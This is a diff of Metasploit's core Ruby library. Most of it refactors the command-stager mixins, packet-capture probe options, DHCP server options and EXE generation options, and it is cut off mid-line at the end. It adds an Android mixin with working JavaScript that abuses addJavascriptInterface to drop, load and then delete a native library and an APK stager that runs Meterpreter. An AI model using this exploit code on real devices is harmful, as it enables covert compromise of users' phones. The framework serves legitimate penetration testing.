a/lib/msf/core/event_dispatcher.rb +++ b/lib/msf/core/event_dispatcher.rb @@ -176,26 +176,26 @@ class EventDispatcher found = false case event when "on" - if respond_to?(subscribers) + if respond_to?(subscribers, true) found = true self.send(subscribers).each do |sub| - next if not sub.respond_to?(name) + next if not sub.respond_to?(name, true) sub.send(name, *args) end else (general_event_subscribers + custom_event_subscribers).each do |sub| - next if not sub.respond_to?(name) + next if not sub.respond_to?(name, true) sub.send(name, *args) found = true end end when "add" - if respond_to?(subscribers) + if respond_to?(subscribers, true) found = true add_event_subscriber(self.send(subscribers), *args) end when "remove" - if respond_to?(subscribers) + if respond_to?(subscribers, true) found = true remove_event_subscriber(self.send(subscribers), *args) end @@ -221,11 +221,11 @@ protected array.delete(subscriber) end - attr_accessor :general_event_subscribers # :nodoc: attr_accessor :custom_event_subscribers # :nodoc: - attr_accessor :exploit_event_subscribers # :nodoc: - attr_accessor :session_event_subscribers # :nodoc: attr_accessor :db_event_subscribers # :nodoc: + attr_accessor :exploit_event_subscribers # :nodoc: + attr_accessor :general_event_subscribers # :nodoc: + attr_accessor :session_event_subscribers # :nodoc: attr_accessor :ui_event_subscribers # :nodoc: end diff --git a/lib/msf/core/exceptions.rb b/lib/msf/core/exceptions.rb index 848bf687eb..18ac26108c 100644 --- a/lib/msf/core/exceptions.rb +++ b/lib/msf/core/exceptions.rb @@ -210,9 +210,15 @@ end ### class MissingActionError < ArgumentError include AuxiliaryError + attr_accessor :reason + + def initialize(reason='') + self.reason = reason + super + end def to_s - "A valid action has not been selected." + "Invalid action: #{reason}" end end diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 829ed71cdf..418e2959b5 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Exe diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 27bff1ce90..363d6c4a9c 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -532,6 +532,7 @@ class Exploit < Msf::Module reqs['EncoderType'] = payload_encoder_type(explicit_target) reqs['EncoderOptions'] = payload_encoder_options(explicit_target) reqs['ExtendedOptions'] = payload_extended_options(explicit_target) + reqs['Exploit'] = self # Pass along the encoder don't fall through flag reqs['EncoderDontFallThrough'] = datastore['EncoderDontFallThrough'] @@ -620,14 +621,14 @@ class Exploit < Msf::Module # Returns MODULE_EXPLOIT to indicate that this is an exploit module. # def self.type - MODULE_EXPLOIT + Msf::MODULE_EXPLOIT end # # Returns MODULE_EXPLOIT to indicate that this is an exploit module. # def type - MODULE_EXPLOIT + Msf::MODULE_EXPLOIT end # diff --git a/lib/msf/core/exploit/afp.rb b/lib/msf/core/exploit/afp.rb index 1141a25c2d..0feffb6c51 100644 --- a/lib/msf/core/exploit/afp.rb +++ b/lib/msf/core/exploit/afp.rb @@ -246,8 +246,7 @@ module Exploit::Remote::AFP end def parse_header(packet) - header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order - header[3] = packet[4..7].reverse.unpack("l").first + header = packet.unpack('CCnNNN') return header end diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb new file mode 100644 index 0000000000..e416884adc --- /dev/null +++ b/lib/msf/core/exploit/android.rb @@ -0,0 +1,96 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf +module Exploit::Android + + # Since the NDK stager is used, arch detection must be performed + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] + + # Most android devices are ARM + DEFAULT_ARCH = ARCH_ARMLE + + # Some of the default NDK build targets are named differently than + # msf's builtin constants. This mapping allows the ndkstager file + # to be looked up from the msf constant. + NDK_FILES = { + ARCH_ARMLE => 'armeabi', + ARCH_MIPSLE => 'mips' + } + + def add_javascript_interface_exploit_js(arch) + stagename = Rex::Text.rand_text_alpha(5) + %Q| + function exec(runtime, cmdArr) { + var ch = 0; + var output = ''; + var process = runtime.exec(cmdArr); + var input = process.getInputStream(); + + while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } + return output; + } + + function attemptExploit(obj) { + // ensure that the object contains a native interface + try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } + + // get the pid + var pid = obj.getClass() + .forName('android.os.Process') + .getMethod('myPid', null) + .invoke(null, null); + + // get the runtime so we can exec + var runtime = obj.getClass() + .forName('java.lang.Runtime') + .getMethod('getRuntime', null) + .invoke(null, null); + + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. + var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; + + // get the process name, which will give us our data path + // $PPID does not seem to work on android 4.0, so we concat pids manually + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); + + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/#{stagename}.apk'; + + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + // load the library + runtime.load(libraryPath); + + // delete dropped files + runtime.exec(['rm', stagePath]).waitFor(); + runtime.exec(['rm', libraryPath]).waitFor(); + + return true; + } + + for (i in top) { if (attemptExploit(top[i]) === true) break; } + | + end + + + # The NDK stager is used to launch a hidden APK + def ndkstager(stagename, arch) + path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so'] + data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb') + data.gsub!('PLOAD', stagename) + end + +end +end diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index fcc5f663fa..1f76773a49 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -37,9 +37,16 @@ module Msf register_advanced_options( [ - OptInt.new('UDP_SECRET', [true, 'The 32-bit cookie for UDP probe requests.', 1297303091]), - OptAddress.new('GATEWAY', [false, 'The gateway IP address. This will be used rather than a random remote address for the UDP probe, if set.']), - OptInt.new('NETMASK', [false, 'The local network mask. This is used to decide if an address is in the local network.', 24]), + OptInt.new('SECRET', [true, 'A 32-bit cookie for probe requests.', 'MSF!'.unpack('N').first]), + OptAddress.new('GATEWAY_PROBE_HOST', + [ + true, + 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', + 'www.metasploit.com']), + OptPort.new('GATEWAY_PROBE_PORT', + [ + false, + 'The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)']) ], Msf::Exploit::Capture ) @@ -117,7 +124,7 @@ module Msf self.capture = ::Pcap.open_live(dev, len, true, tim) if do_arp self.arp_capture = ::Pcap.open_live(dev, 512, true, tim) - preamble = datastore['UDP_SECRET'].to_i + preamble = datastore['SECRET'].to_i arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})" self.arp_capture.setfilter(arp_filter) end @@ -304,15 +311,18 @@ module Msf end def probe_gateway(addr) - dst_host = (datastore['GATEWAY'] || IPAddr.new((rand(16777216) + 2969567232), Socket::AF_INET).to_s) - dst_port = rand(30000)+1024 - preamble = [datastore['UDP_SECRET']].pack("N") + dst_host = datastore['GATEWAY_PROBE_HOST'] + dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT'] + preamble = [datastore['SECRET']].pack("N") secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}" begin - UDPSocket.open.send(secret, 0, dst_host, dst_port) + UDPSocket.open do |sock| + sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_TTL, 1) + sock.send(secret, 0, dst_host, dst_port) + end rescue Errno::ENETUNREACH - # This happens on networks with no gatway. We'll need to use a + # This happens on networks with no gateway. We'll need to use a # fake source hardware address. self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" end @@ -402,9 +412,11 @@ module Msf def lookupnet check_pcaprub_loaded dev = datastore['INTERFACE'] || ::Pcap.lookupdev - mask = datastore['NETMASK'] || 24 begin - my_net = IPAddr.new("#{Pcap.lookupnet(dev).first}/#{mask}") + my_ip, my_mask = Pcap.lookupnet(dev) + # convert the netmask obtained from the relevant interface to CIDR + cidr_mask = my_mask.to_s(2).count('1') + my_net = IPAddr.new("#{my_ip}/#{cidr_mask}") rescue RuntimeError => e @pcaprub_error = e print_status("Cannot stat device: #{@pcaprub_error}") @@ -414,10 +426,7 @@ module Msf end def should_arp?(ip) - @mydev ||= datastore['INTERFACE'] || ::Pcap.lookupdev - @mymask ||= datastore['NETMASK'] || 24 - @mynet ||= lookupnet - @mynet.include?(IPAddr.new(ip)) + lookupnet.include?(IPAddr.new(ip)) end attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index cf4b251161..8d4739a453 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -2,96 +2,319 @@ require 'rex/exploitation/cmdstager' require 'msf/core/exploit/exe' +require 'msf/base/config' module Msf -### -# # This mixin provides an interface to generating cmdstagers -# -### module Exploit::CmdStager include Msf::Exploit::EXE + # Constant for stagers - used when creating an stager instance. + STAGERS = { + :bourne => Rex::Exploitation::CmdStagerBourne, + :debug_asm => Rex::Exploitation::CmdStagerDebugAsm, + :debug_write => Rex::Exploitation::CmdStagerDebugWrite, + :echo => Rex::Exploitation::CmdStagerEcho, + :printf => Rex::Exploitation::CmdStagerPrintf, + :vbs => Rex::Exploitation::CmdStagerVBS, + :vbs_adodb => Rex::Exploitation::CmdStagerVBS, + :tftp => Rex::Exploitation::CmdStagerTFTP + } + + # Constant for decoders - used when checking the default flavor decoder. + DECODERS = { + :debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"), + :debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"), + :vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), + :vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + } + + attr_accessor :stager_instance + attr_accessor :cmd_list + attr_accessor :flavor + attr_accessor :decoder + attr_accessor :exe + + # Creates an instance of an exploit that uses an CMD Stager and register the + # datastore options provided by the mixin. # - # Creates an instance of an exploit that uses an CmdStager overwrite. - # + # @param info [Hash] Hash containing information to initialize the exploit. + # @return [Msf::Module::Exploit] the exploit module. def initialize(info = {}) super - @cmd_list = nil - @stager_instance = nil + + flavors = module_flavors + flavors = STAGERS.keys if flavors.empty? + flavors.unshift('auto') + + register_advanced_options( + [ + OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']) + ], self.class) end + # Executes the command stager while showing the progress. This method should + # be called from exploits using this mixin. # - # Execute the command stager while showing the progress - # + # @param opts [Hash] Hash containing configuration options. Also allow to + # send opts to the Rex::Exploitation::CmdStagerBase constructor. + # @option opts :flavor [Symbol] The CMD Stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @option opts :delay [Float] Delay between command executions. + # @return [void] def execute_cmdstager(opts = {}) - cmd_list = generate_cmdstager(opts) + self.cmd_list = generate_cmdstager(opts) - execute_cmdstager_begin(opts) + stager_instance.setup(self) - sent = 0 - total_bytes = 0 - cmd_list.each { |cmd| total_bytes += cmd.length } + begin + execute_cmdstager_begin(opts) - delay = opts[:delay] - delay ||= 0.25 + sent = 0 + total_bytes = 0 + cmd_list.each { |cmd| total_bytes += cmd.length } - cmd_list.each do |cmd| - execute_command(cmd, opts) - sent += cmd.length + delay = opts[:delay] + delay ||= 0.25 - # In cases where a server has multiple threads, we want to be sure that - # commands we execute happen in the correct (serial) order. - ::IO.select(nil, nil, nil, delay) + cmd_list.each do |cmd| + execute_command(cmd, opts) + sent += cmd.length - progress(total_bytes, sent) + # In cases where a server has multiple threads, we want to be sure that + # commands we execute happen in the correct (serial) order. + ::IO.select(nil, nil, nil, delay) + + progress(total_bytes, sent) + end + + execute_cmdstager_end(opts) + ensure + stager_instance.teardown(self) end - - execute_cmdstager_end(opts) end - # # Generates a cmd stub based on the current target's architecture - # and operating system. + # and platform. # + # @param opts [Hash] Hash containing configuration options. Also allow to + # send opts to the Rex::Exploitation::CmdStagerBase constructor. + # @option opts :flavor [Symbol] The CMD Stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @param pl [String] String containing the payload to execute + # @return [Array] The list of commands to execute + # @raise [ArgumentError] raised if the cmd stub can not be generated def generate_cmdstager(opts = {}, pl = nil) - pl ||= payload.encoded + select_cmdstager(opts) - @exe = generate_payload_exe + self.exe = generate_payload_exe(:code => pl) - @stager_instance = create_stager(@exe) - cmd_list = @stager_instance.generate(opts) + self.stager_instance = create_stager + cmd_list = stager_instance.generate(opts_with_decoder(opts)) - if (cmd_list.nil? or cmd_list.length < 1) + if (cmd_list.nil? || cmd_list.length < 1) print_error("The command stager could not be generated") raise ArgumentError end - @cmd_list = cmd_list + cmd_list end - - # - # Show the progress of the upload + # Show the progress of the upload while cmd staging # + # @param total [Float] The total number of bytes to send + # @param sent [Float] The number of bytes sent + # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 percent = "%3.2f%%" % done.to_f print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total]) end + # Selects the correct cmd stager and decoder stub to use # - # Methods to override - not used internally + # @param opts [Hash] Hash containing the options to select te correct cmd + # stager and decoder. + # @option opts :flavor [Symbol] The cmd stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @return [void] + # @raise [ArgumentError] raised if a cmd stager can not be selected or it + # isn't compatible with the target platform. + def select_cmdstager(opts = {}) + self.flavor = select_flavor(opts) + raise ArgumentError, "Unable to select CMD Stager" if flavor.nil? + raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor) + self.decoder = select_decoder(opts) + end + + + # Returns a hash with the :decoder option if possible # + # @param opts [Hash] Input Hash. + # @return [Hash] Hash with the input data and a :decoder option when + # possible. + def opts_with_decoder(opts = {}) + return opts if opts.include?(:decoder) + return opts.merge(:decoder => decoder) if decoder + opts + end + + + # Create an instance of the flavored stager. + # + # @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use. + # @raise [NoMethodError] raised if the flavor doesn't exist. + def create_stager + STAGERS[flavor].new(exe) + end + + # Returns the default decoder stub for the input flavor. + # + # @param f [Symbol] the input flavor. + # @return [Symbol] the decoder. + # @return [nil] if there isn't a default decoder to use for the current + # cmd stager flavor. + def default_decoder(f) + DECODERS[f] + end + + # Selects the correct cmd stager decoder to use based on three rules: (1) use + # the decoder provided in input options, (2) use the decoder provided by the + # user through datastore options, (3) select the default decoder for the + # current cmd stager flavor if available. + # + # @param opts [Hash] Hash containing the options to select te correct + # decoder. + # @option opts :decoder [String] The decoder stub to use. + # @return [String] The decoder. + # @return [nil] if a decoder can not be selected. + def select_decoder(opts = {}) + return opts[:decoder] if opts.include?(:decoder) + return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank? + default_decoder(flavor) + end + + # Selects the correct cmd stager to use based on three rules: (1) use the + # flavor provided in options, (2) use the flavor provided by the user + # through datastore options, (3) guess the flavor using the target platform. + # + # @param opts [Hash] Hash containing the options to select te correct cmd + # stager + # @option opts :flavor [Symbol] The cmd stager flavor to use. + # @return [Symbol] The flavor to use. + # @return [nil] if a flavor can not be selected. + def select_flavor(opts = {}) + return opts[:flavor].to_sym if opts.include?(:flavor) + unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto' + return datastore['CMDSTAGER::FLAVOR'].to_sym + end + guess_flavor + end + + # Guess the cmd stager flavor to use using information from the module, + # target or platform. + # + # @return [Symbol] The cmd stager flavor to use. + # @return [nil] if the cmd stager flavor can not be guessed. + def guess_flavor + # First try to guess a compatible flavor based on the module & target information. + unless target_flavor.nil? + case target_flavor + when Array + return target_flavor[0].to_sym + when String + return target_flavor.to_sym + when Symbol + return target_flavor + end + end + + # Second try to guess a compatible flavor based on the target platform. + return nil unless target_platform.names.length == 1 + c_platform = target_platform.names.first + case c_platform + when /linux/i + :bourne + when /osx/i + :bourne + when /unix/i + :bourne + when /win/i + :vbs + else + nil + end + end + + # Returns all the compatible stager flavors specified by the module and each + # of it's targets. + # + # @return [Array] the list of all compatible cmd stager flavors. + def module_flavors + flavors = [] + flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor'] + targets.each do |target| + flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor'] + end + flavors.uniq! + flavors.map { |flavor| flavor.to_s } + end + + # Returns the compatible stager flavors for the current target or module. + # + # @return [Array] the list of compatible cmd stager flavors. + # @return [Symbol] the compatible cmd stager flavor. + # @return [String] the compatible cmd stager flavor. + # @return [nil] if there isn't any compatible flavor defined. + def target_flavor + return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor'] + return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor'] + nil + end + + # Answers if the input flavor is compatible with the current target or module. + # + # @param f [Symbol] The flavor to check + # @return [Boolean] true if compatible, false otherwise. + def compatible_flavor?(f) + return true if target_flavor.nil? + case target_flavor + when String + return true if target_flavor == f.to_s + when Array + target_flavor.each { |tr| return true if tr.to_sym == f } + when Symbol + return true if target_flavor == f + end + false + end + + # Code to execute before the cmd stager stub. This method is designed to be + # overriden by a module this mixin. + # + # @param opts [Hash] Hash of configuration options. def execute_cmdstager_begin(opts) end + + # Code to execute after the cmd stager stub. This method is designed to be + # overriden by a module this mixin. + # + # @param opts [Hash] Hash of configuration options. def execute_cmdstager_end(opts) end -end + # Code to execute each command from the. This method is designed to be + # overriden by a module using this mixin. + # + # @param opts [Hash] Hash of configuration options. + def execute_command(cmd, opts) + raise NotImplementedError + end end +end diff --git a/lib/msf/core/exploit/cmdstager_bourne.rb b/lib/msf/core/exploit/cmdstager_bourne.rb deleted file mode 100644 index f4859105c7..0000000000 --- a/lib/msf/core/exploit/cmdstager_bourne.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerBourne - - include Msf::Exploit::CmdStager - - def create_stager(exe) - Rex::Exploitation::CmdStagerBourne.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_debug_asm.rb b/lib/msf/core/exploit/cmdstager_debug_asm.rb deleted file mode 100644 index acaeed53d0..0000000000 --- a/lib/msf/core/exploit/cmdstager_debug_asm.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerDebugAsm - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The debug.exe assembly listing decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerDebugAsm.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_debug_write.rb b/lib/msf/core/exploit/cmdstager_debug_write.rb deleted file mode 100644 index 53ded3ab55..0000000000 --- a/lib/msf/core/exploit/cmdstager_debug_write.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerDebugWrite - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The debug.exe file-writing decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerDebugWrite.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb deleted file mode 100644 index a4e45d3daa..0000000000 --- a/lib/msf/core/exploit/cmdstager_echo.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -#### -# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho. -# -# This stager uses the echo's "-e" flag, that enable interpretation of -# backslash escapes, to drop an ELF with the payload embedded to disk. -# The "-e" flag is usually available on linux environments. This stager -# has been found useful on restricted linux based embedded devices, and -# should work on either: -# * Systems with busy box's echo binary somewhere in $PATH. -# * Systems with bash/zsh whose echo builtin supports -en flags. -# * Systems with GNU coreutils echo which supports -en flags. -# -#### - -module Exploit::CmdStagerEcho - - include Msf::Exploit::CmdStager - - # Initializes a CmdStagerEcho instance for the supplied payload - # - # @param exe [String] The payload embedded into an ELF - # @return [Rex::Exploitation::CmdStagerEcho] Stager instance - def create_stager(exe) - Rex::Exploitation::CmdStagerEcho.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb deleted file mode 100644 index faad1f9d2a..0000000000 --- a/lib/msf/core/exploit/cmdstager_printf.rb +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -#### -# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf. -# -# This stager uses a POSIX-conformant printf, that supports the interpretation -# of octal escapes, to drop an ELF with the payload embedded to disk. -#### - -module Exploit::CmdStagerPrintf - - include Msf::Exploit::CmdStager - - # Initializes a CmdStagerPrintf instance for the supplied payload - # - # @param exe [String] The payload embedded into an ELF - # @return [Rex::Exploitation::CmdStagerPrintf] Stager instance - def create_stager(exe) - Rex::Exploitation::CmdStagerPrintf.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_tftp.rb b/lib/msf/core/exploit/cmdstager_tftp.rb deleted file mode 100644 index d827f2ac05..0000000000 --- a/lib/msf/core/exploit/cmdstager_tftp.rb +++ /dev/null @@ -1,67 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'msf/core/exploit/tftp' -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerTFTP - - include Msf::Exploit::CmdStager - include Msf::Exploit::TFTPServer - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'TFTPHOST', [ false, 'The address of the machine hosting the file via TFTP.' ]), - OptString.new( 'TFTPRSRC', [ false, 'The filename of the TFTP-hosted resource.' ]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerTFTP.new(exe) - end - - def execute_cmdstager(opts = {}) - tftphost = datastore['TFTPHOST'] - tftphost ||= datastore['SRVHOST'] - tftphost ||= datastore['LHOST'] - - @exe_tag = datastore['TFTPRSRC'] - @exe_tag ||= Rex::Text.rand_text_alphanumeric(8) - - opts.merge!({ :tftphost => tftphost, :transid => @exe_tag }) - - super - end - - # - # Start the service and register the file - # - def execute_cmdstager_begin(opts) - start_service(@exe_tag, @exe) - end - - # - # Stop the service - # - def execute_cmdstager_end(opts) - stop_service - end - - def payload_exe - return nil if not @stager_instance - @stager_instance.payload_exe - end - -end - -end diff --git a/lib/msf/core/exploit/cmdstager_vbs.rb b/lib/msf/core/exploit/cmdstager_vbs.rb deleted file mode 100644 index 7e3d05bd71..0000000000 --- a/lib/msf/core/exploit/cmdstager_vbs.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerVBS - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerVBS.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_vbs_adodb.rb b/lib/msf/core/exploit/cmdstager_vbs_adodb.rb deleted file mode 100644 index ddedf4343e..0000000000 --- a/lib/msf/core/exploit/cmdstager_vbs_adodb.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerVBS::ADODB - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_adodb")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerVBS.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/dhcp.rb b/lib/msf/core/exploit/dhcp.rb index 361df4732d..c179a747f2 100644 --- a/lib/msf/core/exploit/dhcp.rb +++ b/lib/msf/core/exploit/dhcp.rb @@ -12,7 +12,24 @@ module Msf module Exploit::DHCPServer def initialize(info = {}) - super + super(update_info(info, + 'Stance' => Msf::Exploit::Stance::Passive, + )) + + register_options( + [ + OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), + OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), + OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), + OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]), + OptString.new('ROUTER', [ false, "The router IP address" ]), + OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]), + OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]), + OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]), + OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]), + OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]), + OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ]) + ], self.class) @dhcp = nil end @@ -21,7 +38,7 @@ module Exploit::DHCPServer @dhcp = Rex::Proto::DHCP::Server.new(hash, context) print_status("Starting DHCP server") if datastore['VERBOSE'] @dhcp.start - add_socket(@dhcp.socket) + add_socket(@dhcp.sock) @dhcp end @@ -34,4 +51,3 @@ module Exploit::DHCPServer end end - diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index b98d459585..f6051b4fcf 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -16,12 +16,14 @@ module Exploit::EXE # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb register_advanced_options( [ + OptBool.new( 'EXE::EICAR', [ false, 'Generate an EICAR file instead of regular payload exe']), OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]), OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]), + OptBool.new( 'MSI::EICAR', [ false, 'Generate an EICAR file instead of regular payload msi']), OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), @@ -29,18 +31,25 @@ module Exploit::EXE ], self.class) end - def get_custom_exe(path=nil) + # Avoid stating the string directly, don't want to get caught by local + # antivirus! + def get_eicar_exe + obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"] + obfus_eicar.join("-").upcase + end + + def get_custom_exe(path = nil) path ||= 